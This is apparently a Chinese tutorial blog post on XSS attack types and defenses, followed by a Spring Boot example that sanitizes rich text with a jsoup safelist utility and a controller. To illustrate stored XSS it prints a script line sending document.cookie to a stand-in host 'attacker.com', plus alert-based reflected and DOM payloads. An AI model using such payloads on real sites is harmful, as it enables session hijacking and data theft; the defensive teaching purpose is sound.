springbpoot项目,富文本,xss脚本攻击防护,jsoup

XSS脚本攻击概述

XSS(Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过注入恶意脚本到受害者的浏览器中执行,从而窃取数据、劫持会话或破坏页面内容。XSS通常分为三种类型:反射型、存储型和DOM型。

反射型XSS

反射型XSS又称非持久型XSS,恶意脚本作为请求的一部分发送到服务器,服务器未过滤直接返回给用户浏览器执行。常见于URL参数、搜索框等场景。

攻击者构造一个包含恶意脚本的链接,诱骗用户点击:

html 复制代码
https://example.com/search?query=<script>alert('XSS')</script>

存储型XSS

存储型XSS又称持久型XSS,恶意脚本被保存到服务器数据库(如评论、留言板),当其他用户访问时触发。危害更大,影响范围更广。

例如,攻击者在论坛提交包含恶意脚本的评论:

html 复制代码
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

DOM型XSS

DOM型XSS不依赖服务器响应,而是通过客户端JavaScript动态修改DOM结构触发。攻击载荷通常隐藏在URL片段(#后)或本地存储中。

示例代码漏洞:

javascript 复制代码
document.write('<div>' + location.hash.substring(1) + '</div>');

攻击者构造URL:

html 复制代码
https://example.com/page#<img src=x onerror=alert('XSS')>

防御措施

输入过滤与转义

对用户输入进行严格验证,转义特殊字符(如<转为&lt;)。

内容安全策略(CSP)

通过HTTP头Content-Security-Policy限制脚本来源:

http 复制代码
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

HttpOnly Cookie

设置Cookie的HttpOnly属性,防止JavaScript访问:

http 复制代码
Set-Cookie: sessionid=123; HttpOnly; Secure

框架安全特性

现代前端框架(如React、Vue)默认转义动态内容,避免直接操作DOM。

实际影响

XSS可导致会话劫持、钓鱼攻击、恶意软件分发等后果。定期安全测试和代码审计是必要的防护手段。

pox.xml添加 jsoup

bash 复制代码
	<dependency>
          <groupId>org.jsoup</groupId>
          <artifactId>jsoup</artifactId>
          <version>1.21.2</version>
    </dependency>

创建XssCleanUtils工具类

bash 复制代码
package org.example.common.utils;

import org.jsoup.Jsoup;
import org.jsoup.safety.Safelist;
import org.springframework.stereotype.Component;


@Component
public class XssCleanUtils {

    /**
     * 清理富文本内容,保留常用HTML标签
     *
     * @param content 待清理的富文本内容
     * @return 清理后的安全内容
     */
    public String cleanRichText(String content) {
        if (content == null || content.isEmpty()) {
            return content;
        }

        // 使用宽松白名单,保留常见富文本标签
        Safelist safelist = Safelist.relaxed()
                .addTags("hr", "ins", "del", "mark", "small", "sub", "sup")
                .addAttributes(":all", "class", "id", "style")
                .addAttributes("a", "target")
                .addAttributes("img", "src", "alt", "title", "width", "height")
                .addProtocols("img", "src", "http", "https", "data")
                .addProtocols("a", "href", "http", "https", "mailto");

        return Jsoup.clean(content, safelist);
    }

    /**
     * 清理简单文本内容(严格模式)
     *
     * @param content 待清理的内容
     * @return 清理后的安全内容
     */
    public String cleanSimpleText(String content) {
        if (content == null || content.isEmpty()) {
            return content;
        }

        // 只保留基本文本格式标签
        Safelist safelist = new Safelist()
                .addTags("b", "strong", "i", "em", "u", "strike", "del", "ins")
                .addTags("p", "br", "span")
                .addAttributes("span", "class", "style");

        return Jsoup.clean(content, safelist);
    }
}

过滤文本

bash 复制代码
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
import lombok.RequiredArgsConstructor;
import org.example.baens.Dynamic;
import org.example.baens.User;
import org.example.common.config.MinioConfiguration;
import org.example.common.utils.ApiResult;
import org.example.common.utils.UuidUtils;
import org.example.common.utils.XssCleanUtils;
import org.example.repository.DynamicRepository;
import org.example.service.DynamicService;
import org.example.service.UserService;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;

import java.util.Date;

@RestController
@Tag(name = "动态资讯接口")
@RequestMapping("/api")
@RequiredArgsConstructor
public class DynamicController {

    private final DynamicService dynamicService;

    private final RedisTemplate<String, Object> customRedisTemplate;

    private final MinioConfiguration minioConfiguration;

    private DynamicRepository dynamicRepository;

    private final XssCleanUtils xssCleanUtils;

    @PostMapping("/save/dynamic")
    public ApiResult<Dynamic> saveDynamic(@RequestParam String name,
                                          @RequestParam String content,
                                          @RequestParam(value = "imgUrl") MultipartFile imgUrl,
                                          @RequestParam String author
    ) {
    
        String cleanedContent = xssCleanUtils.cleanRichText(content);


        minioConfiguration.validateFile(imgUrl, "image/jpeg", "image/png", "image/webp");
        String minio_url = minioConfiguration.uploadToMinio(imgUrl, "dynamic");
        Dynamic dynamic = new Dynamic();
        dynamic.setId(UuidUtils.generate());
        dynamic.setName(name);
        dynamic.setContent(cleanedContent);
        dynamic.setImgUrl(minio_url);
        dynamic.setAuthor(author);
        dynamic.setStatus(1);
        dynamic.setCreateTime(new Date());
        dynamic.setUpdateTime(new Date());
        dynamicRepository.save(dynamic);
        dynamicService.save(dynamic);
        return new ApiResult<>(200, "添加成功", null);
    }

    @PostMapping("/save/image")
    @Operation(summary = "上传图片")
    public ApiResult<String> uploadImage(@RequestParam(required = false,value = "imgUrl") MultipartFile imgUrl) {
        minioConfiguration.validateFile(imgUrl, "image/jpeg", "image/png", "image/webp");
        String minio_url = minioConfiguration.uploadToMinio(imgUrl, "dynamic");
        return new ApiResult<>(200, "上传成功", minio_url);
    }

    @PostMapping("/save/video")
    @Operation(summary = "上传视频")
    public ApiResult<String> uploadVideo(@RequestParam(required = false, value = "videoUrl") MultipartFile videoUrl) {
        minioConfiguration.validateFile(videoUrl, "video/mp4", "video/avi", "video/mov");
        String minio_url = minioConfiguration.uploadToMinio(videoUrl, "dynamic");
        return new ApiResult<>(200, "上传成功", minio_url);
    }


}
相关推荐
Zzzzzxl_1 小时前
互联网大厂Java/Agent面试实战:Spring Boot、JVM、微服务、Kafka与AI Agent场景问答
java·jvm·spring boot·redis·ai·kafka·microservices
涵涵(互关)1 小时前
后端返回的id到前端接收时,id改变了
前端·状态模式
菜择贰1 小时前
为IDEA创建Linux桌面快捷方式
java·linux·intellij-idea
拾忆,想起1 小时前
Dubbo灰度发布完全指南:从精准引流到全链路灰度
前端·微服务·架构·dubbo·safari
未若君雅裁1 小时前
JVM实战总结笔记
java·jvm·笔记
liudongyang1231 小时前
EasyExcel使用模版填充的方式,导致单元格边框消失
前端·html
廋到被风吹走3 小时前
【Spring】Spring Data JPA Repository 自动实现机制深度解析
java·后端·spring
MX_93593 小时前
Spring中Bean的配置(一)
java·后端·spring
2503_928411563 小时前
12.4 axios的二次封装-深拷贝
前端·javascript·vue.js